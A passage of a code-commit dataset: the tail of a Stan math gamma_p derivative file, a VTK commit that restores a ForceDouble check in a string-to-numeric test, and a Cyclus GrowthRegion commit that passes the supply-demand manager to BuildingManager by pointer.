grad_reg_lower_inc_gamma(x1.val_, x2, 1.0e-10);\n\n return fvar<T>(u, x1.d_ * der1);\n}\n\ntemplate <typename T>\ninline fvar<T> gamma_p(double x1, const fvar<T> &x2) {\n using std::exp;\n using std::log;\n\n T u = gamma_p(x1, x2.val_);\n if (is_inf(x1))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n\n T der2 = exp(-x2.val_ + (x1 - 1.0) * log(x2.val_) - lgamma(x1));\n\n return fvar<T>(u, x2.d_ * der2);\n}\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestStringToNumeric.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*-------------------------------------------------------------------------\n Copyright 2008 Sandia Corporation.\n Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n the U.S. Government retains certain rights in this software.\n-------------------------------------------------------------------------*\/\n\n#include \"vtkDelimitedTextReader.h\"\n#include \"vtkDoubleArray.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkStringArray.h\"\n#include \"vtkStringToNumeric.h\"\n#include \"vtkTable.h\"\n#include \"vtkTestUtilities.h\"\n#include \"vtkMath.h\"\n\n#include \"vtkSmartPointer.h\"\n#define VTK_CREATE(type,name) \\\n vtkSmartPointer<type> name = vtkSmartPointer<type>::New()\n\nnamespace\n{\n int ArrayTypesTest(int argc, char* argv[])\n {\n char* file = vtkTestUtilities::ExpandDataFileName(argc, argv,\n \"Data\/authors.csv\");\n \n VTK_CREATE(vtkDelimitedTextReader, reader);\n reader->SetFileName(file);\n reader->SetHaveHeaders(true);\n\n delete [] file;\n\n VTK_CREATE(vtkStringToNumeric, numeric);\n numeric->SetInputConnection(reader->GetOutputPort());\n numeric->Update();\n \n vtkTable* table = vtkTable::SafeDownCast(numeric->GetOutput());\n \n cerr << \"Testing array types...\" << endl;\n int errors = 0;\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Author\")))\n {\n cerr << \"ERROR: Author array missing\" << endl;\n ++errors;\n }\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Affiliation\")))\n {\n cerr << \"ERROR: Affiliation array missing\" << endl;\n ++errors;\n }\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Alma Mater\")))\n {\n cerr << \"ERROR: Alma Mater array missing\" << endl;\n ++errors;\n }\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Categories\")))\n {\n cerr << \"ERROR: Categories array missing\" << endl;\n ++errors;\n }\n if (!vtkIntArray::SafeDownCast(table->GetColumnByName(\"Age\")))\n {\n cerr << \"ERROR: Age array missing or not converted to int\" << endl;\n ++errors;\n }\n else\n {\n vtkIntArray* age = vtkIntArray::SafeDownCast(table->GetColumnByName(\"Age\"));\n int sum = 0;\n for (vtkIdType i = 0; i < age->GetNumberOfTuples(); i++)\n {\n sum += age->GetValue(i);\n }\n if (sum != 181)\n {\n cerr << \"ERROR: Age sum is incorrect\" << endl;\n ++errors;\n }\n }\n if (!vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"Coolness\")))\n {\n cerr << \"ERROR: Coolness array missing or not converted to double\" << endl;\n ++errors;\n }\n else\n {\n vtkDoubleArray* cool = vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"Coolness\"));\n double sum = 0;\n for (vtkIdType i = 0; i < cool->GetNumberOfTuples(); i++)\n {\n sum += cool->GetValue(i);\n }\n double eps = 10e-8;\n double diff = (2.35 > sum) ? (2.35 - sum) : (sum - 2.35);\n if (diff > eps)\n {\n cerr << \"ERROR: Coolness sum is incorrect\" << endl;\n ++errors;\n }\n }\n \n return errors;\n\n }\n\n int WhitespaceAndEmptyCellsTest()\n {\n \/\/ Setup a table of string columns, which is to get converted to numeric\n VTK_CREATE(vtkTable, inputTable);\n VTK_CREATE(vtkStringArray, integerColumn);\n integerColumn->SetName(\"IntegerColumn\");\n integerColumn->SetNumberOfTuples(2);\n integerColumn->SetValue(0, \" \");\n integerColumn->SetValue(1, \" 1 \");\n\n VTK_CREATE(vtkStringArray, doubleColumn);\n doubleColumn->SetName(\"DoubleColumn\");\n doubleColumn->SetNumberOfTuples(2);\n doubleColumn->SetValue(0, \" \");\n doubleColumn->SetValue(1, \" 1.1 \");\n\n inputTable->AddColumn(integerColumn);\n inputTable->AddColumn(doubleColumn);\n\n \/\/ Setup the vtkStringToNumeric which is under test\n VTK_CREATE(vtkStringToNumeric, numeric);\n int const defaultIntValue = 100;\n numeric->SetDefaultIntegerValue(defaultIntValue);\n numeric->SetDefaultDoubleValue(vtkMath::Nan());\n numeric->SetTrimWhitespacePriorToNumericConversion(true);\n numeric->SetInput(inputTable);\n numeric->Update();\n vtkTable* table = vtkTable::SafeDownCast(numeric->GetOutput());\n table->Dump();\n\n cerr << \"Testing handling whitespace and empty cells...\" << endl;\n int errors = 0;\n if (!vtkIntArray::SafeDownCast(table->GetColumnByName(\"IntegerColumn\")))\n {\n cerr << \"ERROR: IntegerColumn array missing or not converted to int\" << endl;\n ++errors;\n }\n else\n {\n vtkIntArray* column = vtkIntArray::SafeDownCast(table->GetColumnByName(\"IntegerColumn\"));\n if (defaultIntValue != column->GetValue(0))\n {\n cerr << \"ERROR: Empty cell value is: \" << column->GetValue(0) << \". Expected: \" << defaultIntValue;\n ++errors;\n }\n if (1 != column->GetValue(1))\n {\n cerr << \"ERROR: Cell with whitespace value is: \" << column->GetValue(1) << \". Expected: 1\";\n ++errors;\n }\n }\n\n if (!vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"DoubleColumn\")))\n {\n cerr << \"ERROR: DoubleColumn array missing or not converted to double\" << endl;\n ++errors;\n }\n else\n {\n vtkDoubleArray* column = vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"DoubleColumn\"));\n if (!vtkMath::IsNan(column->GetValue(0)))\n {\n cerr << \"ERROR: Empty cell value is: \" << column->GetValue(0) << \". Expected: \" << vtkMath::Nan();\n ++errors;\n }\n if (1.1 != column->GetValue(1))\n {\n cerr << \"ERROR: Cell with whitespace value is: \" << column->GetValue(1) << \". Expected: 1.1\";\n ++errors;\n }\n }\n return errors;\n }\n}\nint TestStringToNumeric(int argc, char* argv[])\n{\n int errors = ArrayTypesTest(argc, argv);\n errors += WhitespaceAndEmptyCellsTest();\n\n cerr << \"...done testing\" << endl;\n cerr << errors << \" errors found.\" << endl;\n\n return errors;\n}\n\n<commit_msg>Adding back testing for ForceDouble<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestStringToNumeric.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*-------------------------------------------------------------------------\n Copyright 2008 Sandia Corporation.\n Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n the U.S. Government retains certain rights in this software.\n-------------------------------------------------------------------------*\/\n\n#include \"vtkDelimitedTextReader.h\"\n#include \"vtkDoubleArray.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkStringArray.h\"\n#include \"vtkStringToNumeric.h\"\n#include \"vtkTable.h\"\n#include \"vtkTestUtilities.h\"\n#include \"vtkMath.h\"\n\n#include \"vtkSmartPointer.h\"\n#define VTK_CREATE(type,name) \\\n vtkSmartPointer<type> name = vtkSmartPointer<type>::New()\n\nnamespace\n{\n int ArrayTypesTest(int argc, char* argv[])\n {\n char* file = vtkTestUtilities::ExpandDataFileName(argc, argv,\n \"Data\/authors.csv\");\n \n VTK_CREATE(vtkDelimitedTextReader, reader);\n reader->SetFileName(file);\n reader->SetHaveHeaders(true);\n\n delete [] file;\n\n VTK_CREATE(vtkStringToNumeric, numeric);\n numeric->SetInputConnection(reader->GetOutputPort());\n numeric->Update();\n \n vtkTable* table = vtkTable::SafeDownCast(numeric->GetOutput());\n \n cerr << \"Testing array types...\" << endl;\n int errors = 0;\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Author\")))\n {\n cerr << \"ERROR: Author array missing\" << endl;\n ++errors;\n }\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Affiliation\")))\n {\n cerr << \"ERROR: Affiliation array missing\" << endl;\n ++errors;\n }\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Alma Mater\")))\n {\n cerr << \"ERROR: Alma Mater array missing\" << endl;\n ++errors;\n }\n if (!vtkStringArray::SafeDownCast(table->GetColumnByName(\"Categories\")))\n {\n cerr << \"ERROR: Categories array missing\" << endl;\n ++errors;\n }\n if (!vtkIntArray::SafeDownCast(table->GetColumnByName(\"Age\")))\n {\n cerr << \"ERROR: Age array missing or not converted to int\" << endl;\n ++errors;\n }\n else\n {\n vtkIntArray* age = vtkIntArray::SafeDownCast(table->GetColumnByName(\"Age\"));\n int sum = 0;\n for (vtkIdType i = 0; i < age->GetNumberOfTuples(); i++)\n {\n sum += age->GetValue(i);\n }\n if (sum != 181)\n {\n cerr << \"ERROR: Age sum is incorrect\" << endl;\n ++errors;\n }\n }\n if (!vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"Coolness\")))\n {\n cerr << \"ERROR: Coolness array missing or not converted to double\" << endl;\n ++errors;\n }\n else\n {\n vtkDoubleArray* cool = vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"Coolness\"));\n double sum = 0;\n for (vtkIdType i = 0; i < cool->GetNumberOfTuples(); i++)\n {\n sum += cool->GetValue(i);\n }\n double eps = 10e-8;\n double diff = (2.35 > sum) ? (2.35 - sum) : (sum - 2.35);\n if (diff > eps)\n {\n cerr << \"ERROR: Coolness sum is incorrect\" << endl;\n ++errors;\n }\n }\n\n cerr << \"Testing force double...\" << endl;\n numeric->ForceDoubleOn();\n numeric->Update();\n table = vtkTable::SafeDownCast(numeric->GetOutput());\n if (!vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"Age\")))\n {\n cerr << \"ERROR: Arrays should have been forced to double\" << endl;\n ++errors;\n }\n \n return errors;\n\n }\n\n int WhitespaceAndEmptyCellsTest()\n {\n \/\/ Setup a table of string columns, which is to get converted to numeric\n VTK_CREATE(vtkTable, inputTable);\n VTK_CREATE(vtkStringArray, integerColumn);\n integerColumn->SetName(\"IntegerColumn\");\n integerColumn->SetNumberOfTuples(2);\n integerColumn->SetValue(0, \" \");\n integerColumn->SetValue(1, \" 1 \");\n\n VTK_CREATE(vtkStringArray, doubleColumn);\n doubleColumn->SetName(\"DoubleColumn\");\n doubleColumn->SetNumberOfTuples(2);\n doubleColumn->SetValue(0, \" \");\n doubleColumn->SetValue(1, \" 1.1 \");\n\n inputTable->AddColumn(integerColumn);\n inputTable->AddColumn(doubleColumn);\n\n \/\/ Setup the vtkStringToNumeric which is under test\n VTK_CREATE(vtkStringToNumeric, numeric);\n int const defaultIntValue = 100;\n numeric->SetDefaultIntegerValue(defaultIntValue);\n numeric->SetDefaultDoubleValue(vtkMath::Nan());\n numeric->SetTrimWhitespacePriorToNumericConversion(true);\n numeric->SetInput(inputTable);\n numeric->Update();\n vtkTable* table = vtkTable::SafeDownCast(numeric->GetOutput());\n table->Dump();\n\n cerr << \"Testing handling whitespace and empty cells...\" << endl;\n int errors = 0;\n if (!vtkIntArray::SafeDownCast(table->GetColumnByName(\"IntegerColumn\")))\n {\n cerr << \"ERROR: IntegerColumn array missing or not converted to int\" << endl;\n ++errors;\n }\n else\n {\n vtkIntArray* column = vtkIntArray::SafeDownCast(table->GetColumnByName(\"IntegerColumn\"));\n if (defaultIntValue != column->GetValue(0))\n {\n cerr << \"ERROR: Empty cell value is: \" << column->GetValue(0) << \". Expected: \" << defaultIntValue;\n ++errors;\n }\n if (1 != column->GetValue(1))\n {\n cerr << \"ERROR: Cell with whitespace value is: \" << column->GetValue(1) << \". Expected: 1\";\n ++errors;\n }\n }\n\n if (!vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"DoubleColumn\")))\n {\n cerr << \"ERROR: DoubleColumn array missing or not converted to double\" << endl;\n ++errors;\n }\n else\n {\n vtkDoubleArray* column = vtkDoubleArray::SafeDownCast(table->GetColumnByName(\"DoubleColumn\"));\n if (!vtkMath::IsNan(column->GetValue(0)))\n {\n cerr << \"ERROR: Empty cell value is: \" << column->GetValue(0) << \". Expected: \" << vtkMath::Nan();\n ++errors;\n }\n if (1.1 != column->GetValue(1))\n {\n cerr << \"ERROR: Cell with whitespace value is: \" << column->GetValue(1) << \". Expected: 1.1\";\n ++errors;\n }\n }\n return errors;\n }\n}\nint TestStringToNumeric(int argc, char* argv[])\n{\n int errors = ArrayTypesTest(argc, argv);\n errors += WhitespaceAndEmptyCellsTest();\n\n cerr << \"...done testing\" << endl;\n cerr << errors << \" errors found.\" << endl;\n\n return errors;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ GrowthRegion.cpp\n\/\/ Implements the GrowthRegion class\n\n#include \"GrowthRegion.h\"\n\n#include \"InputXML.h\"\n#include \"Model.h\"\n#include \"InstModel.h\"\n#include \"SupplyDemand.h\"\n#include \"BuildingManager.h\"\n#include \"SymbolicFunctionFactories.h\"\n#include \"CycException.h\"\n\n#include <stdlib.h>\n#include <map>\n#include <vector>\n#include <string>\n#include <boost\/shared_ptr.hpp>\n#include <libxml\/xpath.h>\n\nusing namespace std;\nusing namespace boost;\n\n\n\/* --------------------\n * GrowthRegion Class Methods\n * --------------------\n *\/\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nGrowthRegion::GrowthRegion() {\n builders_ = map<Producer*,Model*>();\n producers_ = map<Producer*,Model*>();\n commodities_ = vector<Commodity>();\n sdmanager_ = SupplyDemandManager();\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::init(xmlNodePtr cur, xmlXPathContextPtr context) {\n LOG(LEV_DEBUG2, \"greg\") << \"A Growth Region is being initialized\";\n \/\/ xml inits\n Model::init(cur); \/\/ name_ and model_impl_\n RegionModel::initAllowedFacilities(cur); \/\/ allowedFacilities_\n\n \/\/ get path to this model\n xmlNodePtr model_cur = \n XMLinput->get_xpath_element(context,cur,\"model\/GrowthRegion\");\n\n \/\/ get all commodities\n xmlNodeSetPtr commodity_nodes = \n XMLinput->get_xpath_elements(context,model_cur,\"gcommodity\");\\\n\n \/\/ for now we can only handle one commodity\n if (commodity_nodes->nodeNr > 1) {\n stringstream err(\"\");\n err << \"GrowthRegion can currently only handle demand for \"\n << \"one commodity type.\";\n throw CycException(err.str());\n }\n\n \/\/ populate supply demand manager info for each commodity\n for (int i=0;i<commodity_nodes->nodeNr;i++) {\n initCommodity(commodity_nodes->nodeTab[i],XMLinput->context());\n }\n\n \/\/ instantiate building manager\n initBuildManager();\n \n \/\/ parent_ and tick listener, model 'born'\n RegionModel::initSimInteraction(this); \n \/\/ children->setParent, requires init()\n RegionModel::initChildren(cur); \n\n \/\/ populate producers_, builders_\n populateProducerMaps();\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::initBuildManager() {\n buildmanager_ = \n shared_ptr<BuildingManager>(new BuildingManager(sdmanager_));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::init(xmlNodePtr cur) {\n init(cur,XMLinput->context());\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::initCommodity(xmlNodePtr& node, \n xmlXPathContextPtr context) {\n \/\/ instantiate product\n string name = \n (const char*)XMLinput->get_xpath_content(context,node,\"name\");\n Commodity commodity(name);\n int position = commodities_.size();\n commodities_.push_back(commodity);\n\n \/\/ instantiate demand\n string type = \n (const char*)XMLinput->get_xpath_content(context,node,\"demand\/type\");\n string params = \n (const char*)XMLinput->get_xpath_content(context,node,\"demand\/parameters\");\n BasicFunctionFactory bff;\n FunctionPtr demand = bff.getFunctionPtr(type,params);\n\n \/\/ set up producers vector \n vector<Producer> producers;\n xmlNodeSetPtr producer_nodes = \n XMLinput->get_xpath_elements(context,node,\"demand\/metby\");\n\n for (int i=0; i<producer_nodes->nodeNr; i++) {\n xmlNodePtr pnode = producer_nodes->nodeTab[i];\n producers.push_back(getProducer(context,pnode,commodities_.at(position)));\n } \/\/ end producer nodes\n \n \/\/ populate info\n sdmanager_.registerCommodity(commodities_.at(position),demand,producers);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nProducer GrowthRegion::getProducer(xmlXPathContextPtr& context, \n xmlNodePtr& node,\n Commodity& commodity) {\n string fac_name = \n (const char*)XMLinput->get_xpath_content(context,node,\"facility\");\n double capacity = \n atof((const char*)\n XMLinput->get_xpath_content(context,node,\"capacity\"));\n double cost = capacity; \/\/ cost = capacity\n return Producer(fac_name,commodity,capacity,cost);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::copy(GrowthRegion* src) {\n RegionModel::copy(src);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nstd::string GrowthRegion::str() {\n std::string s = RegionModel::str();\n\n \/\/ if ( builders_ == NULL || builders_->empty() ){\n \/\/ s += name() + \" has no builders (currently).\"; \n \/\/ } else {\n \/\/ s += name() + \" has the following builders: \" ; \n \/\/ for(map<Model*, list<Model*>*>::iterator mit=builders_->begin();\n \/\/ mit != builders_->end(); mit++) {\n \/\/ s += \" prototype=\" + mit->first->name() + \"(\"; \n \/\/ for(list<Model*>::iterator inst = mit->second->begin();\n \/\/ inst != mit->second->end(); inst++) {\n \/\/ s += (*inst)->name() + \", \"; \n \/\/ }\n \/\/ s += \"), \";\n \/\/ }\n \/\/ }\n return s;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::handleTick(int time) {\n\n \/\/ for each commodity\n for (int i = 0; i < commodities_.size(); i++) {\n Commodity c = commodities_.at(i);\n \n \/\/ does demand exist?\n double unmet_demand = \n sdmanager_.supply(c) - sdmanager_.demand(c,time);\n \n \/\/ if so, determine which prototypes to build and build them\n if (unmet_demand > 0) {\n vector<BuildOrder> orders = \n buildmanager_->makeBuildDecision(c,unmet_demand);\n \/\/ build the prototypes\n orderBuilds(orders);\n }\n }\n \n \/\/ After we finish building, call the normal handleTick for a region\n RegionModel::handleTick(time);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::populateProducerMaps() {\n\n \/\/ if there are no children, yell\n if ( children_.empty() ) {\n stringstream err(\"\");\n err << \"GrowthRegion \" << this->name() \n << \" cannot populate its list\"\n << \" of builders because it has no children.\";\n throw CycOverrideException(err.str());\n }\n\n \/\/ for each commodity\n for (int i = 0; i < commodities_.size(); i++) {\n Commodity c = commodities_.at(i);\n \n \/\/ map each producer's name to a pointer to it\n map<string,Producer*> producer_names;\n populateProducerNames(c,producer_names);\n \n \/\/ populate the maps with those producer names\n populateMaps(this,producer_names);\n }\n \n \/\/ if there are no builders, yell\n if ( builders_.empty() ) {\n stringstream err(\"\");\n err << \"GrowthRegion \" << this->name() \n << \" has finished populating\"\n << \" its list of builders, but that list is empty.\";\n throw CycOverrideException(err.str());\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::populateProducerNames(Commodity& c, \n std::map<std::string,Producer*>& \n producer_names) {\n for (int j = 0; j < sdmanager_.nProducers(c); j++) {\n Producer* p = sdmanager_.producer(c,j);\n producer_names[p->name()] = p;\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::populateMaps(Model* node, \n std::map<std::string,Producer*>& \n producer_names) {\n \/\/ the name to search for\n string model_name = node->name();\n\n \/\/ if the model is in producers, log it as a producer\n \/\/ and its parent as a builder\n map<string,Producer*>::iterator it = producer_names.find(model_name);\n if (it != producer_names.end()) {\n producers_[it->second] = node;\n builders_[it->second] = node->parent();\n }\n \n \/\/ perform the same operation for each of this node's children\n for (int i = 0; i < node->nChildren(); i++) {\n populateMaps(node->children(i),producer_names);\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nstd::string GrowthRegion::printMaps() {\n stringstream ss(\"\");\n map<Producer*,Model*>::iterator it;\n ss << \"Producer map:\" << endl;\n for (it = producers_.begin(); it != producers_.end(); it++) {\n ss << \"\\t\" << it->first->name() << \" producer produces model \" \n << it->second->name() << endl;\n }\n ss << \"Builder map:\" << endl;\n for (it = builders_.begin(); it != builders_.end(); it++) {\n ss << \"\\t\" << it->first->name() << \" producer is built by model \" \n << it->second->name() << endl;\n }\n return ss.str();\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::orderBuilds(std::vector<BuildOrder>& orders) {\n \/\/ for each order\n for (int i = 0; i < orders.size(); i++) {\n BuildOrder bo = orders.at(i);\n \/\/ for each instance of a prototype order\n for (int j = 0; j < bo.number; j++) {\n Model* builder = builders_[bo.producer];\n Model* prototype = producers_[bo.producer];\n orderBuild(builder,prototype);\n }\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::orderBuild(Model* builder, Model* prototype) {\n \/\/ build functions must know who is placing the build order\n dynamic_cast<InstModel*>(builder)->build(prototype,this);\n}\n\/* -------------------- *\/\n\n\n\/* --------------------\n * Model Class Methods\n * --------------------\n *\/\nextern \"C\" Model* constructGrowthRegion() {\n return new GrowthRegion();\n}\n\n\/* -------------------- *\/\n\n<commit_msg>in cyclus pull request https:\/\/github.com\/cyclus\/core\/pull\/285, the BuildManager constructor was changed to take a pointer. This makes cycamore's GrowthRegion compatible with that change. A previously noted occaisionally failing test 'TestBuildDecision' continues to fail despite this change.<commit_after>\/\/ GrowthRegion.cpp\n\/\/ Implements the GrowthRegion class\n\n#include \"GrowthRegion.h\"\n\n#include \"InputXML.h\"\n#include \"Model.h\"\n#include \"InstModel.h\"\n#include \"SupplyDemand.h\"\n#include \"BuildingManager.h\"\n#include \"SymbolicFunctionFactories.h\"\n#include \"CycException.h\"\n\n#include <stdlib.h>\n#include <map>\n#include <vector>\n#include <string>\n#include <boost\/shared_ptr.hpp>\n#include <libxml\/xpath.h>\n\nusing namespace std;\nusing namespace boost;\n\n\n\/* --------------------\n * GrowthRegion Class Methods\n * --------------------\n *\/\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nGrowthRegion::GrowthRegion() {\n builders_ = map<Producer*,Model*>();\n producers_ = map<Producer*,Model*>();\n commodities_ = vector<Commodity>();\n sdmanager_ = SupplyDemandManager();\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::init(xmlNodePtr cur, xmlXPathContextPtr context) {\n LOG(LEV_DEBUG2, \"greg\") << \"A Growth Region is being initialized\";\n \/\/ xml inits\n Model::init(cur); \/\/ name_ and model_impl_\n RegionModel::initAllowedFacilities(cur); \/\/ allowedFacilities_\n\n \/\/ get path to this model\n xmlNodePtr model_cur = \n XMLinput->get_xpath_element(context,cur,\"model\/GrowthRegion\");\n\n \/\/ get all commodities\n xmlNodeSetPtr commodity_nodes = \n XMLinput->get_xpath_elements(context,model_cur,\"gcommodity\");\\\n\n \/\/ for now we can only handle one commodity\n if (commodity_nodes->nodeNr > 1) {\n stringstream err(\"\");\n err << \"GrowthRegion can currently only handle demand for \"\n << \"one commodity type.\";\n throw CycException(err.str());\n }\n\n \/\/ populate supply demand manager info for each commodity\n for (int i=0;i<commodity_nodes->nodeNr;i++) {\n initCommodity(commodity_nodes->nodeTab[i],XMLinput->context());\n }\n\n \/\/ instantiate building manager\n initBuildManager();\n \n \/\/ parent_ and tick listener, model 'born'\n RegionModel::initSimInteraction(this); \n \/\/ children->setParent, requires init()\n RegionModel::initChildren(cur); \n\n \/\/ populate producers_, builders_\n populateProducerMaps();\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::initBuildManager() {\n buildmanager_ = \n shared_ptr<BuildingManager>(new BuildingManager(&sdmanager_));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::init(xmlNodePtr cur) {\n init(cur,XMLinput->context());\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::initCommodity(xmlNodePtr& node, \n xmlXPathContextPtr context) {\n \/\/ instantiate product\n string name = \n (const char*)XMLinput->get_xpath_content(context,node,\"name\");\n Commodity commodity(name);\n int position = commodities_.size();\n commodities_.push_back(commodity);\n\n \/\/ instantiate demand\n string type = \n (const char*)XMLinput->get_xpath_content(context,node,\"demand\/type\");\n string params = \n (const char*)XMLinput->get_xpath_content(context,node,\"demand\/parameters\");\n BasicFunctionFactory bff;\n FunctionPtr demand = bff.getFunctionPtr(type,params);\n\n \/\/ set up producers vector \n vector<Producer> producers;\n xmlNodeSetPtr producer_nodes = \n XMLinput->get_xpath_elements(context,node,\"demand\/metby\");\n\n for (int i=0; i<producer_nodes->nodeNr; i++) {\n xmlNodePtr pnode = producer_nodes->nodeTab[i];\n producers.push_back(getProducer(context,pnode,commodities_.at(position)));\n } \/\/ end producer nodes\n \n \/\/ populate info\n sdmanager_.registerCommodity(commodities_.at(position),demand,producers);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nProducer GrowthRegion::getProducer(xmlXPathContextPtr& context, \n xmlNodePtr& node,\n Commodity& commodity) {\n string fac_name = \n (const char*)XMLinput->get_xpath_content(context,node,\"facility\");\n double capacity = \n atof((const char*)\n XMLinput->get_xpath_content(context,node,\"capacity\"));\n double cost = capacity; \/\/ cost = capacity\n return Producer(fac_name,commodity,capacity,cost);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::copy(GrowthRegion* src) {\n RegionModel::copy(src);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nstd::string GrowthRegion::str() {\n std::string s = RegionModel::str();\n\n \/\/ if ( builders_ == NULL || builders_->empty() ){\n \/\/ s += name() + \" has no builders (currently).\"; \n \/\/ } else {\n \/\/ s += name() + \" has the following builders: \" ; \n \/\/ for(map<Model*, list<Model*>*>::iterator mit=builders_->begin();\n \/\/ mit != builders_->end(); mit++) {\n \/\/ s += \" prototype=\" + mit->first->name() + \"(\"; \n \/\/ for(list<Model*>::iterator inst = mit->second->begin();\n \/\/ inst != mit->second->end(); inst++) {\n \/\/ s += (*inst)->name() + \", \"; \n \/\/ }\n \/\/ s += \"), \";\n \/\/ }\n \/\/ }\n return s;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::handleTick(int time) {\n\n \/\/ for each commodity\n for (int i = 0; i < commodities_.size(); i++) {\n Commodity c = commodities_.at(i);\n \n \/\/ does demand exist?\n double unmet_demand = \n sdmanager_.supply(c) - sdmanager_.demand(c,time);\n \n \/\/ if so, determine which prototypes to build and build them\n if (unmet_demand > 0) {\n vector<BuildOrder> orders = \n buildmanager_->makeBuildDecision(c,unmet_demand);\n \/\/ build the prototypes\n orderBuilds(orders);\n }\n }\n \n \/\/ After we finish building, call the normal handleTick for a region\n RegionModel::handleTick(time);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::populateProducerMaps() {\n\n \/\/ if there are no children, yell\n if ( children_.empty() ) {\n stringstream err(\"\");\n err << \"GrowthRegion \" << this->name() \n << \" cannot populate its list\"\n << \" of builders because it has no children.\";\n throw CycOverrideException(err.str());\n }\n\n \/\/ for each commodity\n for (int i = 0; i < commodities_.size(); i++) {\n Commodity c = commodities_.at(i);\n \n \/\/ map each producer's name to a pointer to it\n map<string,Producer*> producer_names;\n populateProducerNames(c,producer_names);\n \n \/\/ populate the maps with those producer names\n populateMaps(this,producer_names);\n }\n \n \/\/ if there are no builders, yell\n if ( builders_.empty() ) {\n stringstream err(\"\");\n err << \"GrowthRegion \" << this->name() \n << \" has finished populating\"\n << \" its list of builders, but that list is empty.\";\n throw CycOverrideException(err.str());\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::populateProducerNames(Commodity& c, \n std::map<std::string,Producer*>& \n producer_names) {\n for (int j = 0; j < sdmanager_.nProducers(c); j++) {\n Producer* p = sdmanager_.producer(c,j);\n producer_names[p->name()] = p;\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::populateMaps(Model* node, \n std::map<std::string,Producer*>& \n producer_names) {\n \/\/ the name to search for\n string model_name = node->name();\n\n \/\/ if the model is in producers, log it as a producer\n \/\/ and its parent as a builder\n map<string,Producer*>::iterator it = producer_names.find(model_name);\n if (it != producer_names.end()) 